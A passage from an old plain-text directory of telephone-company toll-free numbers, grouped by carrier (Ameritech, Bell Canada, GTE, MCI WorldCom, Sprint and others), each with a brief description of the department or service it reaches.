+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ. +1-888-ATT-TRW3 AT&T True Rewards Account questions. + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +(314) 444-4444 Ameritech (St. Louis Office) +1-800-207-2228 Ameritech. +1-800-221-0994 Ameritech Cellular and Paging. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-249-4449 Ameritech Yellow Pages Advertising Sales. +1-800-257-0902 Ameritech Main Office. +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-331-5454 Ameritech. +1-800-346-4377 Ameritech Directory Order Center. +1-800-433-8505 Ameritech Special Needs Center. +1-800-446-PAGE Ameritech Cellular and Paging. +1-800-468-3949 Ameritech Automated Services. +1-800-475-7449 Ameritech Payphone Repair. +1-800-480-8088 Ameritech Business Solutions Center. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-523-7076 Ameritech Security Systems. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-621-4533 Ameritech Bilingual Customer Service. +1-800-621-8650 Ameritech's Lifeline program. +1-800-647-9000 Ameritech PagesPlus Advertising. +1-800-649-3777 Ameritech. (TTY/TDD) +1-800-660-3000 Ameritech Small Business Services. +1-800-662-4531 Ameritech Cellular and Paging. +1-800-707-9999 Ameritech. +1-800-769-4099 Ameritech Annoyance Call Bureau. +1-800-809-0878 Ameritech Payphones. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-848-CAST Ameritech (Americast) Cable Services. +1-800-873-5501 Ameritech's automated billing (RBOC) +1-800-967-5543 Ameritech. +1-800-AMERITECH Ameritech. +1-800-MOBILE-1 Ameritech Cellular and Paging. +1-800-NET-8775 Ameritech Interactive Media Services. (Internet) +1-800-WORKLIFE Ameritech. +1-877-432-3279 Ameritech. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + BCTel/TELUS: +------------------------------------------------------------------------------- + +1-800-447-2688 BCTel Mobility's EasyTouch Service. +1-800-472-9773 TELUS (Payphone Dept.) +1-800-563-0624 TELUS Fax. +1-800-575-2355 BCTELUS Help Center. +1-800-661-2355 BCTel Mobility Customer Service. +1-800-661-4260 TELUS Advertising. +1-800-663-1011 BCTel's Billing Inquiry System. +1-800-663-1440 BCTel Call Center/Accounts. +1-800-663-2234 BCTel Network Sales. +1-800-663-2455 BCTel Mobility Customer Service Department. +1-800-973-2223 TELUS Directory Delivery Service. (order phone books!) +1-877-310-6110 TELUS Today Customer Service. +1-877-344-3330 BCTel Mobility. +1-888-685-2355 BCTel Multiple Option Messaging. +1-888-811-2323 BCTel Customer Service. +1-888-867-7587 (1-888-TMS-PLUS) TELUS. +1-888-905-2284 BCTel Interactive Business Solutions. + + +------------------------------------------------------------------------------- + Bell Atlantic: +------------------------------------------------------------------------------- + +1-800-221-4393 Bell Atlantic VMS. +1-800-225-5400 Bell Atlantic. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info) +1-800-416-9639 Bell Atlantic Help Desk. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-538-4747 Bell Atlantic Mobile. +1-800-550-9840 Bell Atlantic Long Distance. +1-800-556-2355 Bell Atlantic Communications. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-727-2231 Bell Atlantic. +1-800-830-2355 Bell Atlantic Mobile. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-922-0204 Bell Atlantic Mobile. +1-800-934-2255 Bell Atlantic. +1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-550-7095 Bell Atlantic Communications. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-730-2355 Bell Atlantic. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-831-4947 Bell Atlantic Long Distance. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. + + +------------------------------------------------------------------------------- + BCE/Bell Canada/ActiMedia/Mobility/Nexxia/Sympatico/etc: +------------------------------------------------------------------------------- + +1-416-555-1313 Bell's local CN/A office for Toronto. +310-2355 Telephone Directory Ordering (free local directories) +310-BELL Bell Canada Customer Services. (toll free) +310-SURF Bell Sympatico. +811 Northwestel Call Centre. (BC, NWT, Yukon) + +1-800-225-5180 Bell Canada Client Service Center. +1-800-238-8636 Bell Labs. +1-800-253-5011 Bell Mobility Paging. +1-800-256-2355 Bell Nexxia. (after hours OcTel VMB) +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-265-3076 Tele-Stat Satellite Network Operations Control. +1-800-265-5925 Bell Data & I.X. Voice Repair. +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-0424 Bell Nexxia Customer Care. +1-800-267-1870 Tele-Stat Canada. +1-800-267-2355 Bell Mobility Quebec. +1-800-267-5353 Tele-Direct Atlantic. +1-800-267-6511 IslandTel Special Needs Centre (Tdd) +1-800-267-6574 Bell Canada Datapac Service Center. +1-800-267-7002 Tele-Direct. +1-800-267-7640 Bell Canada's Ident-a-call demonstration line. ("*" to enter VMS) +1-800-267-9556 Bell Canada. +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2323 Bell ActiMedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-3550 Bell ActiMedia Internet Services. +1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories) +1-800-268-5933 Bell Canada Quickchange Department. +1-800-268-8531 Bell Data. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-323-6628 Bell Laboratories. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-339-6359 BCE Investor Relations. (Montreal) +1-800-360-2373 Northern Telephone. +1-800-360-8555 Northern Telephone Limited. +1-800-361-0804 Tele-Stat. +1-800-361-1423 Bell Canada Advantage Conferencing. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-6010 Bell ActiMedia Yellow Pages. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-361-8717 Bell Canada Professional Services. (Montreal) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-3781 Bell Mobility Paging. +1-800-363-5001 Bell ActiMedia Yellow Pages. +1-800-363-6522 Stentor's Calling Card Centre. +1-800-363-9612 Bell Technical Services. +1-800-387-4411 Bell Canada's Business Direct Marketing Centre. +1-800-387-4441 Bell Advantage Call Centre Solutions. +1-800-387-5072 Bell Mobility's Activation Department. +1-800-387-5185 Bell Phonecentre Information Line. +1-800-387-9571 Bell Mobility Radio. +1-800-387-9999 Bell Gardium Security Representative. +1-800-439-2355 Direct Bell. (Wireless Communications) +1-800-461-1156 Bell ActiMedia. +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada Smart Touch Information Line. +1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct) +1-800-463-4778 Bell Canada Professional Services. (Quebec City) +1-800-463-4833 Bell ActiMedia Yellow Pages. +1-800-463-5376 Bell CSR-Quebec (Quebec City) +1-800-465-2355 Bell Mobility. +1-800-465-6960 Bell ActiMedia. +1-800-470-2355 Bell Mobility. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-521-CORE Bellcore. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-4999 Bell Canada Residential and Business Service. +1-800-561-0934 BCE Inquiry Line. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 NBTEL's NBNet Support line. +1-800-561-6283 NBTEL Residencial Customer Service. +1-800-561-8868 Stentor's Country Direct Information Line. +1-800-561-8888 Stentor's Calling Card Centre. +1-800-563-2900 NewTel Communications. +1-800-563-3794 Bell Mobility (Ottawa Office) +1-800-563-7171 NewTel Communications. +1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel) +1-800-563-8700 NewTel Communications. +1-800-565-1290 Tele-Direct Atlantic. +1-800-565-1570 IslandTel Customer Service. +1-800-565-4287 IslandTel Business Inquiries. +1-800-565-4737 IslandTel Business Office. +1-800-565-6283 NBTEL Customer Service. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada (I think it's the main switchboard) +1-800-611-6500 Bell Mobility Cellular. +1-800-665-1800 NBTel. +1-800-665-6000 NewTel Express. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-6030 Bell Canada (French) +1-800-667-6283 NBTEL. +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-2355 Bell Canada. +1-800-668-4862 Bell Canada Millennium (Coin) +1-800-668-6851 Bell Canada Millennium (Alarm) +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9608 Bell Canada Switch Control Centre. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-668-9877 Tele-Stat. +1-800-722-2300 Nynex President Switchboard. +1-800-724-4443 Bell Sympatico. +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-749-0764 Bell Canada Human Resources. +1-800-749-2538 Bell Canada. (Toronto Office) +1-800-749-3081 Bell Canada Office. +1-800-749-3085 Bell Canada Ontario Control Centre. +1-800-749-3279 Bell Canada Business Sales. +1-800-749-3743 Bell Canada. (Toronto Office) +1-800-749-3745 Bell Canada Ontario Control Centre. +1-800-749-4198 Bell Canada. +1-800-749-4208 Bell Canada Ontario Control Centre. +1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager) +1-800-749-9770 Bell Canada. (Toronto Office) +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service) +1-800-789-9073 Bell Simple Connections. +1-800-803-0077 Bell QuickChange Cards Customer Service. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service. +1-800-848-8353 Bell ActiMedia. +1-800-848-8353 Bell ActiMedia. +1-800-855-0511 Bell Canada Relay Service (BCRS) Operator. +1-800-862-6330 MTS (Manitoba Telephone System) +1-800-889-4672 Bell Canada Business. +1-800-889-4686 Bell Canada's Business Direct Marketing Centre. +1-800-931-3282 IslandTel Data Communications. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-957-9999 Bell Canada Long Distance. +1-800-984-2646 IslandTel. +1-800-995-8887 Bell ActiMedia Sales Department. +1-800-REWARDS Bell Canada Rewards. +1-877-202-3206 Bell Canada. (Chinese) +1-877-268-4273 Bell Gardium Sales Department. +1-877-318-0859 Bell Sympatico. +1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service. +1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service. +1-877-499-1260 Bell Canada's Smart Touch Promotion Line. +1-877-499-1263 Bell Canada's Smart Touch Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-506-BELL Bell ExpressVu. +1-877-518-BELL Bell ExpressVu. +1-877-520-BELL Bell ExpressVu. +1-877-521-BELL Bell ExpressVu. +1-877-652-4119 Bell's SmartTouch Promotion. +1-877-70-SPEED Bell Sympatico. +1-877-723-4400 Bell Mobility Totalcom. +1-877-885-2424 Bell FirstRate 24 Hour Enrollment Service. +1-877-90-SPEED Bell Sympatico. +1-877-91-SPEED Bell Sympatico. +1-877-92-SPEED Bell Sympatico. +1-877-ALL-WKND Bell Mobility. +1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore) +1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre. +1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service. +1-888-217-6533 Bell Mobility Pager. +1-888-217-6535 Bell Mobility Pager. +1-888-217-6538 Bell Mobility Pager. +1-888-217-6539 Bell Mobility Pager. +1-888-217-6540 Bell Mobility Service. +1-888-24-FIRST Bell FirstRate Interactive Information and Enrollment Service. +1-888-242-2355 Bell (Spanish) +1-888-291-6799 Bell Mobility Order Desk. +1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service. +1-888-308-5640 Bell Mobility Paging. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-368-9110 Northwestel Account Manager. +1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-386-5555 Stentor Communications Production Fund. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-423-2333 Northwestel Business Support Centre. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-457-7308 Bell Mobility Order Desk. +1-888-457-7309 Bell Mobility. +1-888-457-7310 Bell Mobility. +1-888-490-3001 Tele-Direct Atlantic. +1-888-506-2222 Bell Canada. (Italian) +1-888-542-3784 Bell Mobility Out of the Box Program. +1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility. +1-888-739-2737 (1-888-REWARDS) Bell Canada. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-794-0777 Stentor Canadian Network Management. +1-888-865-2239 Bell Mobility Pager. +1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-932-6666 BCE Corp. Communications. +1-888-DIRECPC Tele-Stat Canada's Direct PC Customer Care Centre. + + +------------------------------------------------------------------------------- + BellSouth: +------------------------------------------------------------------------------- + +1-800-285-2355 BellSouth. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-451-6549 BellSouth Customer Service. +1-800-541-1229 BellSouth Financial Services. +1-800-733-2355 BellSouth Phones. +1-800-753-0223 BellSouth Order Line. +1-800-767-2355 BellSouth Automated Billing Services. +1-800-775-2355 BellSouth Phones. +1-800-831-4323 BellSouth. +1-800-832-6338 BellSouth Memory Call Service. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-858-9413 BellSouth ISDN order line. +1-800-925-0010 BellSouth Communications Systems. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-995-9999 BellSouth Phones. +1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls) +1-877-TELEFONE BellSouth. +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-462-8033 BellSouth COCOT Repair. +1-888-543-2355 BellSouth Internet Business. +1-888-837-1668 BellSouth Telecom Rental Services. + + +------------------------------------------------------------------------------- + Cellular One: +------------------------------------------------------------------------------- + +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-487-2355 Cellular One Customer Service. +1-800-514-2355 Cellular One's Welcome line. +1-800-567-2355 Cellular One. +1-800-604-2355 Cellular One. +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-CELL-ONE Cellular One. (U.S. only) +1-877-CELLFONE Cellular One's Voicemail Help line. +1-888-345-2355 Cellular One Dispatch. +1-888-522-2355 Cellular One. +1-888-562-2355 Cellular One's Job Hotline. +1-888-681-2355 Cellular One. +1-888-CELLPHONE Cellular One. +1-888-CELLULAR Cellular One Sales Office. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Telecom. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only) +1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line. +1-800-366-5665 GTE Express. (Cellular) +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-448-3795 GTE. +1-800-472-4565 GTE Internetworking. (U.S. only) +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-483-8494 GTE Long Distance. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. +1-800-927-3000 GTE Internet. +1-800-AIRFONE GTE Airfone. +1-888-483-0022 GTE Government Systems. +1-888-483-4555 GTE Internet. +1-888-681-3279 GTE Airfone. (call aircraft while they're in-flight) +1-888-AIRFONE GTE Airfone. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI. +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls. +1-800-294-3496 MCI WorldCom. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Global Product Support. +1-800-374-6400 MCI WorldCom Local Customer Service. +1-800-401-9997 MCI WorldCom. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI Customer Service. (U.S. only) +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-451-7220 MCI WorldCom. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-456-0253 MCI WorldCom. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-554-5778 MCI WorldCom Prepaid Cellular. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-637-2255 MCI WorldCom. +1-800-644-NEWS MCI WorldCom Public Relations. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2612 MCI WorldCom Small Business Department. +1-800-666-2613 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-749-0800 MCI WorldCom. +1-800-827-4690 MCI WorldCom Paging System. +1-800-827-4750 MCI WorldCom Paging System. +1-800-827-9987 MCI WorldCom Corporate Accounts. +1-800-848-4480 MCI WorldCom Network Assistance. (modem) +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-8000 MCI Operator. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-909-3175 MCI WorldCom Pre-paid Card System +1-800-909-3180 MCI WorldCom Pre-paid Card System +1-800-909-3197 MCI. (Spanish) +1-800-938-6374 MCI WorldCom Customer Service. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI WorldCom Customer Service. +1-800-950-5555 MCI WorldCom. +1-800-999-7700 MCI WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-EVERYDAY MCI WorldCom. +1-800-MCI-LOCAL MCI WorldCom Local Customer Service. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-624-9266 MCI WorldCom Sales Office. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + MT&T: +------------------------------------------------------------------------------- + +1-800-422-5978 MT&T Mobility. +1-800-461-5533 MT&T Billing, Accounts and Repairs. +1-800-561-6364 MT&T Data Services. +1-800-565-1881 MT&T Business Customer Service Centre. +1-800-565-4003 MT&T. +1-800-565-4800 MT&T. +1-800-565-5065 MT&T Residence Telemarketing. +1-800-565-7102 MT&T. +1-800-626-5552 MT&T Data Communications Sales and Repairs. + + +------------------------------------------------------------------------------- + Nortel Networks: +------------------------------------------------------------------------------- + +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-668-1717 Nortel's Global Customer Service. +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-684-9996 Nortel Networks Software Applications Status Line. +1-800-833-7477 Nortel Networks. +1-800-NORTEL-1 Nortel Networks Information Line for Resellers. +1-888-4-NORTEL Nortel Networks VMS. + + +------------------------------------------------------------------------------- + Pacific Bell: +------------------------------------------------------------------------------- + +1-800-241-3000 Pacific Bell Quickservice. (U.S. Only) +1-800-248-2800 Pacific Bell Smart Yellow Pages. +1-800-286-8111 Pacific Bell Spanish Yellow Pages. +1-800-310-BELL Pacific Bell. (U.S. Only) +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-528-0000 Pacific Bell Business Products. (U.S. Only) +1-800-750-2355 Pacific Bell Customer Service. (U.S. Only) +1-800-782-8353 Pacific Bell (to report any payphone crimes) +1-800-848-8000 Pacific Bell Directory Smart Resource Center. +1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only) +1-800-933-2355 Fulfillment plus. (Pacific Bell authorized agent) +1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only) +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. + + +------------------------------------------------------------------------------- + Qwest: +------------------------------------------------------------------------------- + +1-800-256-1410 Qwest Communications News Bureau. +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-524-5249 Qwest Communications Customer Service. +1-800-524-7258 Qwest Communications. +1-800-567-7296 Qwest Communications Investor Relations. +1-800-600-9196 Qwest Communications VMS. +1-800-860-2255 Qwest Communications. +1-800-899-7780 Qwest Communications. +1-800-968-1287 Qwest Communications. +1-800-968-3986 Qwest Communications. +1-800-RIDEQWEST Qwest. +1-877-877-7978 Qwest Shareholder Communication Service. +1-888-452-6200 Qwest. +1-888-793-7811 Qwest Communications Career Line. (Job Listings) + + +------------------------------------------------------------------------------- + SaskTel: +------------------------------------------------------------------------------- + +1-800-667-2355 SaskTel Mobility. +1-800-667-3500 SaskTel Business Solutions. +1-800-667-5801 SaskTel International Head Office. +1-800-667-6840 SaskTel Mobility Customer Service. +1-800-667-6870 SaskTel Repairs. +1-800-871-3011 SaskTel Satellite Service. +1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service. +1-800-975-1969 SaskTel. +1-800-SASKTEL SaskTel Billing and Inquiries. + + +------------------------------------------------------------------------------- + Southwestern Bell: +------------------------------------------------------------------------------- + +1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services. +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-528-2355 Southwestern Bell Yellow Pages Business Office. +1-800-600-2355 Southwestern Bell. +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services. +1-800-909-3285 Southwestern Bell Wireless. +1-888-455-2355 Southwestern Bell Long Distance. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-213-5430 Sprint. +1-800-215-8037 Sprint Solutions Center. +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-322-3090 Sprint BusinessFlex. +1-800-336-MOST Sprint Canada. +1-800-344-9679 Sprint "Nickel Nights" +1-800-348-MOST Sprint Canada. +1-800-349-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-361-9342 Sprint Canada Customer Service. (French) +1-800-366-0707 Sprint Pre-Paid Card Customer Service. +1-800-366-2255 Sprint automated LD calling (U.S. and Canada) +1-800-370-MOST Sprint Canada. +1-800-455-4602 Sprint PCS. +1-800-456-9711 Sprint Canada Customer Service. +1-800-459-MOST Sprint Canada. +1-800-465-3193 Sprint Canada Customer Service. (English) +1-800-467-7746 Sprint. +1-800-469-MOST Sprint Canada. +1-800-470-MOST Sprint Canada. +1-800-471-MOST Sprint Canada. +1-800-474-MOST Sprint Canada. +1-800-475-7110 Sprint Canada. +1-800-480-4727 (1-800-480-4PCS) Sprint PCS. +1-800-483-MOST Sprint Canada. +1-800-485-4493 Sprint Canada. (Fax) +1-800-496-MOST Sprint Canada. +1-800-505-MOST Sprint Canada. +1-800-506-8268 Sprint Canada. +1-800-511-2041 EarthLink Sprint/Mindspring Internet Services. +1-800-515-MOST Sprint Canada. +1-800-516-MOST Sprint Canada. +1-800-517-MOST Sprint Canada. +1-800-518-MOST Sprint Canada. +1-800-522-9320 Sprint Canada. +1-800-540-4516 Sprint Canada. +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-546-6000 SprintNet's In-WATS Service. +1-800-548-8120 Sprint Canada. +1-800-555-2800 Sprint (Spanish) +1-800-570-2255 Sprint Business Service Center. +1-800-571-MOST Sprint Canada. +1-800-575-2255 Sprint Canada's Business Sales Office in Halifax. +1-800-575-MOST Sprint Canada. +1-800-580-MOST Sprint Canada. +1-800-581-MOST Sprint Canada. +1-800-585-MOST Sprint Canada. +1-800-593-MOST Sprint Long Distance. +1-800-597-1195 Sprint Canada. +1-800-597-9765 Sprint Canada. +1-800-601-MOST Sprint Canada. +1-800-605-MOST Sprint Canada. +1-800-606-MOST Sprint Canada. +1-800-607-MOST Sprint Canada. +1-800-613-7797 Sprint Canada Customer Service. +1-800-613-MOST Sprint Canada. +1-800-617-MOST Sprint Canada. +1-800-631-MOST Sprint Canada. +1-800-641-MOST Sprint Canada. +1-800-653-MOST Sprint Canada. +1-800-666-6999 Sprint Canada. +1-800-674-7000 Sprint. +1-800-680-MOST Sprint Canada. +1-800-681-MOST Sprint Canada. +1-800-691-MOST Sprint Canada. +1-800-713-MOST Sprint Canada. +1-800-714-MOST Sprint Canada. +1-800-716-MOST Sprint Canada. +1-800-736-1130 SprintNet Data Network Products and Services. +1-800-746-3767 (1-800-PIN-DROP) Sprint. 